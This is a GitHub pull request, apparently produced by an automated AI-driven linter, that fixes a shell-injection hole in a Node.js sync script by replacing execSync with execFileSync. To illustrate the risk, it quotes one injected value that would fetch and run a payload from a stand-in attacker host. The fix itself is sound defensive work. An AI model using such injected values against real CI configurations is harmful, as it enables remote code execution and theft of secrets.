Skip to content

fix(security): replace execSync with execFileSync to prevent shell injection#22

Open
xiaolai wants to merge 1 commit into
numman-ali:mainfrom
xiaolai:fix/nlpm-execsync-shell-injection
Open

fix(security): replace execSync with execFileSync to prevent shell injection#22
xiaolai wants to merge 1 commit into
numman-ali:mainfrom
xiaolai:fix/nlpm-execsync-shell-injection

Conversation

@xiaolai
Copy link
Copy Markdown

@xiaolai xiaolai commented Apr 20, 2026

Automated audit: This PR was generated by NLPM, a natural language programming linter, running via claude-code-action. Please evaluate the diff on its merits.

Bug

scripts/sync-external.mjs uses execSync with template-literal string interpolation to construct git commands. Two call sites pass values sourced directly from sources.yaml:

  • Line 128: execSync(\git clone --depth 1 --branch ${ref} ${repoUrl} ${repoDir}`, ...)refandrepoUrlcome fromskill.source.refandskill.source.repo`.
  • Line 134: execSync(\git -C ${repoDir} rev-parse HEAD`, ...)repoDiris derived fromskill.source.repo.replace("/", "-")` (only a single slash-to-hyphen substitution, leaving other metacharacters intact).

Because these strings are passed to a shell, a malicious or compromised sources.yaml entry — e.g. ref: "main; curl attacker.com/payload | sh" — would be executed as a shell command in the CI environment.

Fix

Replace both execSync calls with execFileSync and pass arguments as an array. Node.js then invokes git directly via execve, bypassing the shell entirely, so metacharacters in YAML values are treated as literal strings.

// Before
execSync(`git clone --depth 1 --branch ${ref} ${repoUrl} ${repoDir}`, { stdio: "pipe" });
const commitHash = execSync(`git -C ${repoDir} rev-parse HEAD`, { encoding: "utf-8" }).trim();

// After
execFileSync("git", ["clone", "--depth", "1", "--branch", ref, repoUrl, repoDir], { stdio: "pipe" });
const commitHash = execFileSync("git", ["-C", repoDir, "rev-parse", "HEAD"], { encoding: "utf-8" }).trim();

execSync is still imported because it is used on line 280 (npm install --package-lock-only), which does not interpolate external data.

Why it matters

This script runs in a GitHub Actions workflow (sync-skills.yml) with write access to the repository. A shell injection here could exfiltrate secrets or tamper with synced skill content. The fix is minimal and fully backwards-compatible — the git commands behave identically.

…jection

YAML-sourced values (ref, repoUrl, repoDir) were interpolated directly into
shell command strings passed to execSync, creating a potential shell injection
vector if sources.yaml were modified maliciously. execFileSync with an argument
array passes values directly to the process without shell interpretation.

Co-Authored-By: Claude Code <[email protected]>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants